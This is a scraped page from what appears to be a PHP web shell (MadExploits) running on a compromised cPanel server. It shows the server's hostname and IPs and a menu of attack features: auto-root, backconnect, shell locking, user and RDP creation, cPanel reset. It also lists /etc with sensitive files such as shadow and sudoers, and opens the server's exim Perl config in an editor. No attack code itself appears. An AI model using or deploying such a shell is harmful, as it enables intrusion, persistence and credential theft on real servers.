Linux server1.sbs.cy 5.14.0-362.18.1.el9_3.x86_64 #1 SMP PREEMPT_DYNAMIC Mon Jan 29 07:05:48 EST 2024 x86_64
Apache
: 199.192.25.12 | : 172.71.255.112
28 Domain
8.1.31
administrator
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
BLACK DEFEND!
README
+ Create Folder
+ Create File
/
etc /
[ HOME SHELL ]
Name
Size
Permission
Action
ImageMagick-6
[ DIR ]
drwxr-xr-x
NetworkManager
[ DIR ]
drwxr-xr-x
UPower
[ DIR ]
drwxr-xr-x
X11
[ DIR ]
drwxr-xr-x
acpi
[ DIR ]
drwxr-xr-x
alsa
[ DIR ]
drwxr-xr-x
alternatives
[ DIR ]
drwxr-xr-x
apache2
[ DIR ]
drwxr-xr-x
audit
[ DIR ]
drwxr-x---
authselect
[ DIR ]
drwxr-xr-x
bash_completion.d
[ DIR ]
drwxr-xr-x
binfmt.d
[ DIR ]
drwxr-xr-x
cagefs
[ DIR ]
drwxr-xr-x
chkconfig.d
[ DIR ]
drwxr-xr-x
chkserv.d
[ DIR ]
drwxr-xr-x
cifs-utils
[ DIR ]
drwxr-xr-x
cl.selector
[ DIR ]
drwxr-xr-x
cpanel
[ DIR ]
drwxr-x--x
cron.d
[ DIR ]
drwxr-xr-x
cron.daily
[ DIR ]
drwxr-xr-x
cron.hourly
[ DIR ]
drwxr-xr-x
cron.monthly
[ DIR ]
drwxr-xr-x
cron.weekly
[ DIR ]
drwxr-xr-x
crypto-policies
[ DIR ]
drwxr-xr-x
csf
[ DIR ]
drw-------
dbus-1
[ DIR ]
drwxr-xr-x
dconf
[ DIR ]
drwxr-xr-x
debuginfod
[ DIR ]
drwxr-xr-x
default
[ DIR ]
drwxr-xr-x
depmod.d
[ DIR ]
drwxr-xr-x
dhcp
[ DIR ]
drwxr-xr-x
dnf
[ DIR ]
drwxr-xr-x
dovecot
[ DIR ]
drwxr-xr-x
dpkg
[ DIR ]
drwxr-xr-x
dracut.conf.d
[ DIR ]
drwxr-xr-x
egl
[ DIR ]
drwxr-xr-x
environment-modules
[ DIR ]
drwxr-xr-x
exports.d
[ DIR ]
drwxr-xr-x
firewalld
[ DIR ]
drwxr-x---
flatpak
[ DIR ]
drwxr-xr-x
fonts
[ DIR ]
drwxr-xr-x
gcrypt
[ DIR ]
drwxr-xr-x
geoclue
[ DIR ]
drwxr-xr-x
glvnd
[ DIR ]
drwxr-xr-x
gnupg
[ DIR ]
drwxr-xr-x
groff
[ DIR ]
drwxr-xr-x
grub.d
[ DIR ]
drwx------
gss
[ DIR ]
drwxr-xr-x
gssproxy
[ DIR ]
drwxr-xr-x
imunify360
[ DIR ]
drwxr-xr-x
init.d
[ DIR ]
drwxr-xr-x
iproute2
[ DIR ]
drwxr-xr-x
issue.d
[ DIR ]
drwxr-xr-x
kdump
[ DIR ]
drwxr-xr-x
kernel
[ DIR ]
drwxr-xr-x
keys
[ DIR ]
drwxr-xr-x
keyutils
[ DIR ]
drwxr-xr-x
krb5.conf.d
[ DIR ]
drwxr-xr-x
ld.so.conf.d
[ DIR ]
drwxr-xr-x
libibverbs.d
[ DIR ]
drwxr-xr-x
libnl
[ DIR ]
drwxr-xr-x
libpaper.d
[ DIR ]
drwxr-xr-x
libreport
[ DIR ]
drwxr-xr-x
libssh
[ DIR ]
drwxr-xr-x
logrotate.d
[ DIR ]
drwxr-xr-x
mail
[ DIR ]
drwxr-xr-x
microcode_ctl
[ DIR ]
drwxr-xr-x
modprobe.d
[ DIR ]
drwxr-xr-x
modulefiles
[ DIR ]
drwxr-xr-x
modules-load.d
[ DIR ]
drwxr-xr-x
motd.d
[ DIR ]
drwxr-xr-x
my.cnf.d
[ DIR ]
drwxr-xr-x
named
[ DIR ]
drwxr-x---
nftables
[ DIR ]
drwx------
openldap
[ DIR ]
drwxr-xr-x
opt
[ DIR ]
drwxr-xr-x
ostree
[ DIR ]
drwxr-xr-x
pam.d
[ DIR ]
drwxr-xr-x
pcp
[ DIR ]
drwxr-xr-x
pdns
[ DIR ]
drwxr-xr-x
pkcs11
[ DIR ]
drwxr-xr-x
pkgconfig
[ DIR ]
drwxr-xr-x
pki
[ DIR ]
drwxr-xr-x
pm
[ DIR ]
drwxr-xr-x
polkit-1
[ DIR ]
drwxr-xr-x
popt.d
[ DIR ]
drwxr-xr-x
profile.d
[ DIR ]
drwxr-xr-x
proftpd
[ DIR ]
drwxr-x--x
pulse
[ DIR ]
drwxr-xr-x
pure-ftpd
[ DIR ]
drwxr-xr-x
qemu-ga
[ DIR ]
drwxr-xr-x
rc.d
[ DIR ]
drwxr-xr-x
rc0.d
[ DIR ]
drwxr-xr-x
rc1.d
[ DIR ]
drwxr-xr-x
rc2.d
[ DIR ]
drwxr-xr-x
rc3.d
[ DIR ]
drwxr-xr-x
rc4.d
[ DIR ]
drwxr-xr-x
rc5.d
[ DIR ]
drwxr-xr-x
rc6.d
[ DIR ]
drwxr-xr-x
request-key.d
[ DIR ]
drwxr-xr-x
rpm
[ DIR ]
drwxr-xr-x
rsyslog.d
[ DIR ]
drwxr-xr-x
rwtab.d
[ DIR ]
drwxr-xr-x
sasl2
[ DIR ]
drwxr-xr-x
scl
[ DIR ]
drwxr-xr-x
security
[ DIR ]
drwxr-xr-x
selinux
[ DIR ]
drwxr-xr-x
sgml
[ DIR ]
drwxr-xr-x
skel
[ DIR ]
drwxr-xr-x
smartmontools
[ DIR ]
drwxr-xr-x
snmp
[ DIR ]
drwxr-xr-x
ssh
[ DIR ]
drwxr-xr-x
ssl
[ DIR ]
drwxr-xr-x
sssd
[ DIR ]
drwx------
statetab.d
[ DIR ]
drwxr-xr-x
sudoers.d
[ DIR ]
drwxr-x---
sw-engine
[ DIR ]
drwxr-xr-x
sysconfig
[ DIR ]
drwxr-xr-x
sysctl.d
[ DIR ]
drwxr-xr-x
systemd
[ DIR ]
drwxr-xr-x
terminfo
[ DIR ]
drwxr-xr-x
tmpfiles.d
[ DIR ]
drwxr-xr-x
tpm2-tss
[ DIR ]
drwxr-xr-x
udev
[ DIR ]
drwxr-xr-x
valiases
[ DIR ]
drwxr-x--x
vdomainaliases
[ DIR ]
drwxr-x--x
vfilters
[ DIR ]
drwxr-x--x
vulkan
[ DIR ]
drwxr-xr-x
wireplumber
[ DIR ]
drwxr-xr-x
xdg
[ DIR ]
drwxr-xr-x
xml
[ DIR ]
drwxr-xr-x
yum
[ DIR ]
drwxr-xr-x
yum.repos.d
[ DIR ]
drwxr-xr-x
.pwd.lock
0
B
-rw-------
.updated
208
B
-rw-r--r--
.whostmgrft
0
B
-rw-r--r--
DIR_COLORS
4.56
KB
-rw-r--r--
DIR_COLORS.lightbgcolor
4.64
KB
-rw-r--r--
GREP_COLORS
94
B
-rw-r--r--
adjtime
16
B
-rw-r--r--
agent360.ini
809
B
-rw-------
aliases
1.49
KB
-rw-r--r--
almalinux-release
36
B
-rw-r--r--
anacrontab
541
B
-rw-r--r--
antivirus.exim
10.38
KB
-rw-r--r--
asound.conf
55
B
-rw-r--r--
at.deny
1
B
-rw-r--r--
backupmxhosts
0
B
-rw-r-----
bashrc
3.38
KB
-rw-r--r--
bindresvport.blacklist
535
B
-rw-r--r--
blocked_incoming_email_countri...
0
B
-rw-r-----
blocked_incoming_email_country...
0
B
-rw-r-----
blocked_incoming_email_domains
0
B
-rw-r-----
chrony.conf
1.34
KB
-rw-r--r--
chrony.keys
540
B
-rw-r-----
cpanel_exim_system_filter
11.86
KB
-rw-r--r--
cpanel_mail_netblocks
15
B
-rw-r-----
cpspamd.conf
0
B
-rw-r--r--
cpupdate.conf
87
B
-rw-r--r--
cron.deny
7
B
-rw-r--r--
crontab
451
B
-rw-r--r--
crypttab
0
B
-rw-------
csh.cshrc
1.37
KB
-rw-r--r--
csh.login
1.09
KB
-rw-r--r--
dbowners
42
B
-rw-r-----
demodomains
0
B
-rw-r-----
demouids
0
B
-rw-r-----
demousers
0
B
-rw-r-----
digestshadow
47
B
-rw-r-----
domain_remote_mx_ips.cdb
2
KB
-rw-r-----
domainips
15
B
-rw-r--r--
domainusers
22
B
-rw-r-----
dracut.conf
117
B
-rw-r--r--
email_send_limits
2.29
KB
-rw-r-----
environment
0
B
-rw-r--r--
ethertypes
1.33
KB
-rw-r--r--
exim.conf
85.91
KB
-rw-r--r--
exim.conf.dist
25.79
KB
-rw-r--r--
exim.conf.local
656
B
-rw-r--r--
exim.conf.localopts
2.04
KB
-rw-r--r--
exim.conf.localopts.shadow
0
B
-rw-------
exim.conf.mailman2.dist
29.03
KB
-rw-r--r--
exim.conf.mailman2.exiscan.dis...
29.2
KB
-rw-r--r--
exim.crt
3.48
KB
-rw-rw----
exim.key
1.64
KB
-rw-rw----
exim.pl
231
B
-rw-r--r--
exim.pl.local
166.86
KB
-rw-r--r--
exim_suspended_list
715
B
-rw-r-----
exim_trusted_configs
24
B
-rw-r--r--
eximmailtrap
0
B
-rw-r--r--
eximrejects
163
B
-rw-r--r--
eximrejects.rpmorig
367
B
-rw-r--r--
exports
0
B
-rw-r--r--
favicon.png
226
B
-rw-r--r--
filesystems
66
B
-rw-r--r--
freetds.conf
1.13
KB
-rw-r--r--
fstab
492
B
-rw-r--r--
fstab.save
551
B
-rw-------
fstab.save.1
551
B
-rw-r--r--
ftpd-ca.pem
0
B
-rw-rw----
ftpd-rsa-key.pem
1.64
KB
-rw-rw----
ftpd-rsa.pem
3.48
KB
-rw-rw----
fuse.conf
38
B
-rw-r--r--
greylist_common_mail_providers
0
B
-rw-r--r--
greylist_trusted_netblocks
0
B
-rw-r-----
group
1.21
KB
-rw-r--r--
group-
1.17
KB
-rw-r--r--
gshadow
1
KB
-rw-------
gshadow-
998
B
----------
host.conf
9
B
-rw-r--r--
hostname
14
B
-rw-r--r--
hosts
141
B
-rw-r--r--
idmapd.conf
5.66
KB
-rw-r--r--
inittab
490
B
-rw-r--r--
inputrc
943
B
-rw-r--r--
ipaddrpool
0
B
-rw-r--r--
ips
0
B
-rw-r--r--
ips.dnsmaster
43
B
-rw-r--r--
issue
23
B
-rw-r--r--
issue.net
22
B
-rw-r--r--
kdump.conf
8.77
KB
-rw-r--r--
krb5.conf
880
B
-rw-r--r--
ld.so.cache
36.51
KB
-rw-r--r--
ld.so.conf
28
B
-rw-r--r--
libaudit.conf
191
B
-rw-r-----
libuser.conf
2.33
KB
-rw-r--r--
localaliases
56
B
-rw-r--r--
localdomains
1.09
KB
-rw-r-----
localdomains.rpmnew
0
B
-rw-r--r--
locale.conf
15
B
-rw-r--r--
locales.conf
370
B
-rw-r--r--
localtime
114
B
-rw-r--r--
lock_manager_local.ini
829
B
-rw-r--r--
login.defs
7.6
KB
-rw-r--r--
logrotate.conf
496
B
-rw-r--r--
machine-id
33
B
-r--r--r--
magic
111
B
-rw-r--r--
mailbox_formats
43
B
-rw-r-----
mailcap
272
B
-rw-r--r--
mailhelo
17
B
-rw-r-----
mailips
0
B
-rw-r-----
makedumpfile.conf.sample
5
KB
-rw-r--r--
man_db.conf
5.11
KB
-rw-r--r--
manualmx
1
B
-rw-r-----
mime.types
65.87
KB
-rw-r--r--
mke2fs.conf
1.18
KB
-rw-r--r--
motd
0
B
-rw-r--r--
mtab
0
B
-r--r--r--
my.cnf
468
B
-rw-r--r--
named.conf
5.7
KB
-rw-r--r--
named.conf.cache
459
B
-rw-------
named.conf.precpanelinstall
1.7
KB
-rw-r-----
named.conf.prerebuilddnsconfig
3.43
KB
-rw-r--r--
named.conf.rebuilddnsconfig
3.43
KB
-rw-r--r--
named.conf.zonedir.cache
57
B
-rw-------
named.rfc1912.zones
1
KB
-rw-r-----
named.root.key
686
B
-rw-r--r--
nameserverips
50
B
-rw-r--r--
nanorc
10.13
KB
-rw-r--r--
neighbor_netblocks
15
B
-rw-r-----
netconfig
767
B
-rw-r--r--
networks
58
B
-rw-r--r--
nfs.conf
1.59
KB
-rw-r--r--
nfsmount.conf
3.52
KB
-rw-r--r--
nocgiusers
0
B
-rw-r-----
nscd.conf
2.67
KB
-rw-r--r--
nsswitch.conf
2.07
KB
-rw-r--r--
odbc.ini
0
B
-rw-r--r--
odbcinst.ini
1.85
KB
-rw-r--r--
os-release
570
B
-rw-r--r--
outgoing_mail_hold_users
0
B
-rw-r-----
outgoing_mail_suspended_users
0
B
-rw-r-----
papersize
68
B
-rw-r--r--
passwd
3
KB
-rw-r--r--
passwd.cache
17.27
KB
-rw-------
passwd.nouids.cache
8.91
KB
-rw-------
pcp.conf
7.17
KB
-rw-r--r--
pool.conf
219
B
-rw-r--r--
printcap
233
B
-rw-r--r--
profile
2.64
KB
-rw-r--r--
protocols
6.41
KB
-rw-r--r--
pure-ftpd.conf
10.81
KB
-rw-------
pure-ftpd.pem
5.12
KB
-rw-rw----
rc.local
474
B
-rw-r--r--
recent_authed_mail_ips
0
B
-rw-r--r--
recent_authed_mail_ips_users
0
B
-rw-r--r--
recent_recipient_mail_server_i...
28
B
-rw-r-----
redhat-release
36
B
-rw-r--r--
relayhosts
0
B
-rw-r--r--
relayhostsusers
0
B
-rw-r--r--
remotedomains
0
B
-rw-r--r--
request-key.conf
1.75
KB
-rw-r--r--
resolv.conf
74
B
-rw-r--r--
rpc
1.6
KB
-rw-r--r--
rsyncd.conf
458
B
-rw-r--r--
rsyslog.conf
3.3
KB
-rw-r--r--
s-nail.rc
9.4
KB
-r--r--r--
screenrc
6.56
KB
-rw-r--r--
secondarymx
0
B
-rw-r-----
senderverifybypasshosts
0
B
-rw-r-----
services
676.03
KB
-rw-r--r--
sestatus.conf
216
B
-rw-r--r--
shadow
1.41
KB
-rw-------
shadow.nouids.cache
9
KB
-rw-------
shells
128
B
-rw-r--r--
skipsmtpcheckhosts
0
B
-rw-r-----
spammeripblocks
0
B
-rw-r-----
spammers
0
B
-rw-r--r--
ssldomains
0
B
-rw-------
stats.conf
37
B
-rw-r--r--
subgid
0
B
-rw-r--r--
subuid
0
B
-rw-r--r--
sudo-ldap.conf
3.11
KB
-rw-r-----
sudo.conf
3.89
KB
-rw-r-----
sudoers
4.23
KB
-r--r-----
sysctl.conf
617
B
-rw-r--r--
system-release
36
B
-rw-r--r--
system-release-cpe
37
B
-rw-r--r--
trueuserdomains
22
B
-rw-r-----
trueuserowners
20
B
-rw-r--r--
trusted-key.key
375
B
-rw-r--r--
trusted_mail_users
0
B
-rw-r-----
trustedmailhosts
0
B
-rw-r-----
userbwlimits
42
B
-rw-r-----
userdatadomains
8
KB
-rw-r-----
userdatadomains.json
8.72
KB
-rw-r-----
userdomains
1.77
KB
-rw-r-----
userips
41
B
-rw-r-----
userplans
37
B
-rw-r-----
vconsole.conf
28
B
-rw-r--r--
vimrc
3.92
KB
-rw-r--r--
virc
1.16
KB
-rw-r--r--
webspam
0
B
-rw-r--r--
wgetrc
4.81
KB
-rw-r--r--
wwwacct.conf
234
B
-rw-r--r--
wwwacct.conf.cache
303
B
-rw-r--r--
wwwacct.conf.shadow
79
B
-rw-------
wwwacct.conf.shadow.cache
406
B
-rw-------
xattr.conf
817
B
-rw-r--r--
yum.conf
216
B
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : exim.pl.local
=encoding utf-8 =head1 NAME /etc/exim.pl.local - Perl functions for exim that are loaded by /etc/exim.pl =cut my $VALIASES_DIR = '/etc/valiases'; my $VDOMAINALIASES_DIR = '/etc/vdomainaliases'; my $outgoing_mail_suspended_message; my $outgoing_sender; my $outgoing_sender_domain; my $outgoing_sender_counted_domain; my $outgoing_sender_sysuser; my $outgoing_sender_is_mailman; my $outgoing_sender_archive_directory = 'outgoing'; my $mail_gid; my $nobody_uid; my $nobody_gid; my $mailtrap_gid; my $check_mail_permissions_domain = ''; my $check_mail_permissions_sender = ''; my $check_mail_permissions_msgid = ''; my $check_mail_permissions_data = ''; my $check_mail_permissions_is_mailman = 0; my $enforce_mail_permissions_data = ''; my $primary_hostname; my %uid_cache = ( 0 => 'root', 47 => 'mailnull', 99 => 'nobody' ); my %user_cache = ( 'root' => 0, 'mailnull' => 47, 'nobody' => 99 ); my $reattempt_message = 'Message will be reattempted later'; my $sender_lookup; my $sender_lookup_method; # TEST VARIABLES my $check_mail_permissions_result; my %file_exists_cache; sub file_exists { return $file_exists_cache{ $_[0] } if exists $file_exists_cache{ $_[0] }; $file_exists_cache{ $_[0] } = -e $_[0] ? 1 : 0; return $file_exists_cache{ $_[0] }; } sub checkbx_autowhitelist { my $address = shift; my $phost = Exim::expand_string('$primary_hostname'); my $rp = Exim::expand_string('$received_protocol'); if ( $rp eq 'local' || $rp !~ /^e?smtps?a$/i || !$address || $address eq '' ) { return 'no'; } my ( $localpart, $domain ) = split( /\@/, $address ); if ( ( !$domain || $domain eq '' || $domain eq $phost ) ) { my $homedir = gethomedir($localpart); unless ( $homedir ne '' ) { return 'no'; } if ( -e $homedir . '/etc/.boxtrapperenable' && !-e $homedir . '/etc/.boxtrapperautowhitelistdisable' ) { return 'yes'; } else { return 'no'; } } else { my $owner = getdomainowner($domain); my $homedir = gethomedir($owner); unless ( $homedir ne '' ) { return 'no'; } my $passwd = "${homedir}/etc/${domain}/passwd"; my $addressexists = user_exists_in_db( $localpart, $passwd ); if ( $addressexists && ( -e $homedir . "/etc/${domain}/${localpart}/.boxtrapperenable" && !-e $homedir . "/etc/${domain}/${localpart}/.boxtrapperautowhitelistdisable" ) ) { return 'yes'; } else { return 'no'; } } } sub getemailuser { my ( $address, $received_protocol, $sender_ident ) = @_; my $primary_hostname = Exim::expand_string('$primary_hostname'); my ( $local_part, $domain ) = split( m/[\@\+\%\:]/, ( $address || ( $received_protocol && $received_protocol eq 'local' ? $sender_ident : '' ) ) ); if ( !$domain || $domain eq '' || $domain eq $primary_hostname ) { return $local_part; } else { my $user = getdomainowner($domain); if ($user) { return $user; } } return 'nobody'; } #DO NOT REMOVE THIS COMMENT AS IT TELLS CPANEL TO ENABLE SERVICE AUTH CHECKING #exim:serviceauth=1 # # Checkpass not used since auth is passed to dovecot SASL { no warnings 'redefine'; sub checkuserpass { 0; } sub checkpass { 0; } } sub checkspam { # This is an old code block that should never be reached unless there is a serious # problem installing their exim configuration Exim::log_write("Something went very wrong during the exim configuration update. Please try reinstalling your exim configuration."); 1; } sub convert_address_directory_to_dovecot_lda_destination_username { my $local_part = Exim::expand_string('$local_part'); my $domain = Exim::expand_string('$domain'); $primary_hostname ||= Exim::expand_string('$primary_hostname'); my $address_file = Exim::expand_string('$address_file'); if ( $address_file !~ m{mail/\Q$domain\E} ) { return ( getpwuid($>) )[0]; } else { return $local_part . '@' . $domain; } } sub convert_address_directory_to_dovecot_lda_mailbox { my $address_file = Exim::expand_string('$address_file'); my ($mailbox) = $address_file =~ m{/\.([^\/]+)}; if ($mailbox) { return "INBOX.$mailbox"; } return 'INBOX'; } sub call_cpwrap { my ( $function, @ARGS ) = @_; my @JSON_ENCODED_ARGS = map { aggressive_json_safe_encode($_) } @ARGS; my $data = join( ' ', @JSON_ENCODED_ARGS ); my $json_template = qq[{"function":"$function","namespace":"Cpanel","version":2,"action":"run","data":"$data","send_data_only":1,"module":"exim"}\r\n\r\n]; require Cpanel::Encoder::Exim; return eval { Exim::expand_string( '${readsocket{/usr/local/cpanel/var/cpwrapd.sock}{' . Cpanel::Encoder::Exim::unquoted_encode_string_literal($json_template) . '}{10s}}' ); }; } sub aggressive_json_safe_encode { my ($arg) = @_; $arg =~ tr/^a-zA-Z0-9!#\$\-=?^_{}~:.//cd; return $arg; } my $archived_at_domain_level = 0; my $archived_outgoing = 0; my $archived_mailman = 0; sub should_archive_incoming_domain_message { return ( $archived_at_domain_level = !_message_has_been_seen() ); } sub _message_has_been_seen { #ARCHIVE ONLY IF # #$parent_domain = "" # #OR # #$parent_domain != $domain # Delivery was not a result of an expansion my $parent_domain = Exim::expand_string('$parent_domain'); if ( !length $parent_domain ) { return 0; } # Delivery was the result of an expansion / alias. Since its a diffrent domain we don't # know if it was archived so we need to archive if enabled my $domain = Exim::expand_string('$domain'); if ( $domain ne $parent_domain ) { return 0; } my $parent_local_part = Exim::expand_string('$parent_local_part'); my $local_part = Exim::expand_string('$local_part'); # case 60975: If any deliveries happened, parent_domain and parent_local_part # will get set to match domain and local_part. Since we need to # still archive outgoing if it to our same domain or a local # user we need to accept when they all match if ( $parent_domain eq $domain && $local_part && $parent_local_part ) { return 0; } # parent_local_part ne local_part and # parent_domain == domain so it already got archived if we have it on return 1; } sub archive_headers { my ($router) = @_; if ( $router eq 'archive_incoming_email_domain_method' ) { return "X-Archive-Type: incoming\nX-Archive-Recipient: " . Exim::expand_string('$local_part') . '@' . Exim::expand_string('$domain'); } elsif ( $router eq 'archive_incoming_email_local_user_method' ) { return "X-Archive-Type: incoming\nX-Archive-Recipient: " . Exim::expand_string('$local_part'); } elsif ( $router eq 'archive_outgoing_email' ) { return "X-Archive-Type: " . $outgoing_sender_archive_directory . "\nX-Archive-Sender: $outgoing_sender"; } } sub should_archive_incoming_localuser_message { # case 60999: Do not archive a message at the localuser level # if we have already archived it at the domain level (avoid two copies) return 0 if $archived_at_domain_level; my $local_part = Exim::expand_string('$local_part'); my $incoming_domain = getusersdomain($local_part); if ($incoming_domain) { my $home = gethomedir($local_part); if ( file_exists("$home/etc/$incoming_domain/archive/incoming") ) { return 1; } } return 0; } sub get_incoming_domain { return getusersdomain( Exim::expand_string('$local_part') ); } sub should_archive_outgoing_message { return 0 if _message_has_been_seen(); return determine_sender_and_check_if_archive_needed(); } sub determine_sender_and_check_if_archive_needed { my $uid = int( Exim::expand_string('$originator_uid') ); my $gid = int( Exim::expand_string('$originator_gid') ); # outgoing_sender_domain is the domain of the actual sender # outgoing_sender_counted_domain is the domain we actually count the message against # Currently these are always the same except domain may be # rewritten if we are coming from a mailman list in order # to count against the owner of the list instead of the mailman # user assuming /var/cpanel/email_send_limits/count_mailman exists ( $outgoing_sender, $outgoing_sender_domain, $outgoing_sender_counted_domain, $outgoing_sender_is_mailman ) = get_message_sender( $uid, $gid ); if ( $outgoing_sender_domain && $outgoing_sender_domain ne '-system-' ) { $outgoing_sender_sysuser = getdomainowner($outgoing_sender_domain); my $home = gethomedir($outgoing_sender_sysuser); if ( $outgoing_sender_is_mailman && file_exists("$home/etc/$outgoing_sender_domain/archive/mailman") ) { $outgoing_sender_archive_directory = 'mailman'; return 0 if $archived_mailman; # already archived return ( $archived_mailman = 1 ); } elsif ( file_exists("$home/etc/$outgoing_sender_domain/archive/outgoing") ) { $outgoing_sender_archive_directory = 'outgoing'; return 0 if $archived_outgoing; # already archived return ( $archived_outgoing = 1 ); } } return 0; } sub pack_archive_address_data { my ($router) = @_; return join( ' ', 'router=' . Cpanel::Encoder::Exim::encode_string_literal($router), 'sender=' . Cpanel::Encoder::Exim::encode_string_literal($outgoing_sender), 'sender_domain=' . Cpanel::Encoder::Exim::encode_string_literal($outgoing_sender_domain), 'sender_sysuser=' . Cpanel::Encoder::Exim::encode_string_literal($outgoing_sender_sysuser), 'sender_archive_directory=' . Cpanel::Encoder::Exim::encode_string_literal($outgoing_sender_archive_directory) ); } sub get_outgoing_sender { return ( $outgoing_sender // Exim::expand_string('${extract{sender}{$address_data}}')); } sub get_outgoing_sender_domain { return ( $outgoing_sender_domain // Exim::expand_string('${extract{sender_domain}{$address_data}}')); } sub get_outgoing_sender_sysuser { return ( $outgoing_sender_sysuser // Exim::expand_string('${extract{sender_sysuser}{$address_data}}')); } sub get_outgoing_archive_directory { return ( $outgoing_sender_archive_directory // Exim::expand_string('${extract{sender_archive_directory}{$address_data}}')); } sub YYYYMMDDGMT { my ( $sec, $min, $hour, $mday, $mon, $year ) = gmtime( $_[0] || time() ); return sprintf( '%04d-%02d-%02d', $year + 1900, $mon + 1, $mday ); } our $DEFAULT_EMAIL_SEND_LIMITS_DEFER_CUTOFF_PERCENTAGE = 125; sub getmaxemailsperhour { my $domain = shift; return 0 if $domain eq '-system-'; $domain =~ s/\///g; #jic my $maxemails = 0; # Defaults to "unlimited" my $master_email_send_limits_mtime = ( stat('/etc/email_send_limits') )[9]; my $max_fh; if ( open( $max_fh, '<', '/var/cpanel/email_send_limits/cache/' . $domain ) && ( stat($max_fh) )[9] > $master_email_send_limits_mtime ) { # This is the user's main domain. All user's domains are aggregated here $maxemails = readline $max_fh; close $max_fh; return 0 if !$maxemails || $maxemails eq 'unlimited'; return ( $maxemails ? int($maxemails) : 0 ); } my $search_regex = qr/^\Q$domain\E:/; my $search_wildcard_regex = qr/^\Q*\E:/; _check_cache_dir(); my $old_umask = umask(); umask(0027); #format DOMAIN: MAX_EMAIL_PER_HOUR,MAX_DEFER_FAIL_PERCENTAGE,MIN_DEFER_FAIL_TO_TRIGGER_PROTECTION if ( open( my $max_fh, '>', '/var/cpanel/email_send_limits/cache/.' . $domain ) ) { umask($old_umask); if ( open( my $email_limits_fh, '<', '/etc/email_send_limits' ) ) { while ( readline($email_limits_fh) ) { if ( $_ =~ $search_regex ) { $maxemails = ( split( /\,/, ( split( /:\s+/, $_ ) )[1] ) )[0]; last if $maxemails || $maxemails eq '0'; # case 51568: if there is no value we use the wildcard } elsif ( $_ =~ $search_wildcard_regex ) { $maxemails = ( split( /\,/, ( split( /:\s+/, $_ ) )[1] ) )[0]; last; } } } chomp $maxemails; print {$max_fh} $maxemails; close($max_fh); rename( '/var/cpanel/email_send_limits/cache/.' . $domain, '/var/cpanel/email_send_limits/cache/' . $domain ); #rename is atomic and will overwrite the file return int $maxemails; # case 51568: must transform 'unlimited' to 0 } else { umask($old_umask); } return 0; } sub increment_max_emails_per_hour { my ( $domain, $time, $msgid ) = @_; $domain =~ s/\///g; #jic _check_tracker_dir($domain); $time ||= time(); Exim::log_write( "SMTP connection outbound $time $msgid $domain " . Exim::expand_string('$local_part') . '@' . Exim::expand_string('$domain') ); if ( open( my $emailt_fh, '>>', "/var/cpanel/email_send_limits/track/$domain/" . join( '.', ( gmtime($time) )[ 2, 3, 4, 5 ] ) ) ) { print {$emailt_fh} '1'; close($emailt_fh); } # !DEBUG! # if ( open( my $emailt_fh, '>>', "/var/cpanel/email_send_limits/track/$domain/msgids_" . join( '.', ( gmtime( $time ) )[ 2, 3, 4, 5 ] ) ) ) { # # print {$emailt_fh} $msgid . "\n"; # close($emailt_fh); # } } sub _check_cache_dir { mkdir( '/var/cpanel/email_send_limits/cache', 0750 ) if !-e '/var/cpanel/email_send_limits/cache'; } sub _check_tracker_dir { my $domain = shift; $domain =~ s/\///g; #jic if ( !-e '/var/cpanel/email_send_limits/track/' . $domain ) { mkdir( '/var/cpanel/email_send_limits', 0751 ); mkdir( '/var/cpanel/email_send_limits/track', 0750 ); mkdir( '/var/cpanel/email_send_limits/track/' . $domain, 0750 ); } } sub get_current_emails_per_hour { ( ( stat( "/var/cpanel/email_send_limits/track/$_[0]/" . join( '.', ( gmtime( $_[1] || time() ) )[ 2, 3, 4, 5 ] ) ) )[7] || 0 ); } sub get_current_emails_per_day { my $domain = shift; $domain =~ s/\///g; #jic return 0 if ( !-e '/var/cpanel/email_send_limits/track/' . $domain ); my $total_size = 0; if ( opendir( my $domain_track_fh, '/var/cpanel/email_send_limits/track/' . $domain ) ) { while ( my $domaintime = readdir($domain_track_fh) ) { next if ( $domaintime =~ /^\.\.?$/ ); my $tracker_file_size = ( stat("/var/cpanel/email_send_limits/track/$domain/$domaintime") )[7]; $total_size += $tracker_file_size; } } return $total_size; } sub reached_max_emails_per_hour { my $domain = shift; $domain =~ s/\///g; #jic my $max_allowed = int( shift || 0 ); my $time = shift || time(); if ($max_allowed) { # AKA number_of_emails_sent >= $max_allowed if ( get_current_emails_per_hour( $domain, $time ) >= $max_allowed ) { return 1; } else { return 0; } } return 0; } # # This converse function for reference only # #sub set_email_send_limits_defer_cutoff { # my $percentage = int shift ; # # # The value is the size of the file so we can avoid the open/close overhead (just a stat) # if ( open(my $cut_off_percentage_fh,'>','/var/cpanel/email_send_limits/defer_cutoff') ) { # print {$cut_off_percentage_fh} 'x' x $percentage; # return 1; # } # # return 0; # } sub get_email_send_limits_defer_cutoff { # The value is the size of the file so we can avoid the open/close overhead (just a stat) my $cut_off_percentage = ( stat('/var/cpanel/email_send_limits/defer_cutoff') )[7]; if ( !defined $cut_off_percentage ) { $cut_off_percentage = $DEFAULT_EMAIL_SEND_LIMITS_DEFER_CUTOFF_PERCENTAGE; } return $cut_off_percentage; } # # This converse function for reference only # # sub set_email_daily_limit_notify { # my $limit = int shift ; # if ( $limit == 0 ) { # unlink '/var/cpanel/email_send_limits/daily_limit_notify'; # return 1; # } # # The value is the size of the file so we can avoid the open/close overhead (just a stat) # if ( open(my $daily_limit_fh,'>','/var/cpanel/email_send_limits/daily_limit_notify') ) { # print {$daily_limit_fh} 'x' x $limit; # return 1; # } # return 0; # } sub get_email_daily_limit_notify { # The value is the size of the file so we can avoid the open/close overhead (just a stat) my $limit = ( stat('/var/cpanel/email_send_limits/daily_limit_notify') )[7]; if ( !defined $limit ) { $limit = 0; } return $limit; } sub create_daily_notify_touchfile { my $domain = shift; $domain =~ s/\///g; #jic mkdir( '/var/cpanel/email_send_limits/daily_notify', 0750 ) if !-e '/var/cpanel/email_send_limits/daily_notify'; if ( open( my $daily_limit_fh, '>', '/var/cpanel/email_send_limits/daily_notify/' . $domain ) ) { close $daily_limit_fh; } return undef; } BEGIN { unshift @INC, '/usr/local/cpanel'; } #DO NOT USE lib here # use Cpanel::Encoder::Exim (); -- no loaded with require or preload sub gethomedir { my $user = shift; require Cpanel::Encoder::Exim; return Exim::expand_string( '${extract{5}{:}{${lookup passwd{' . 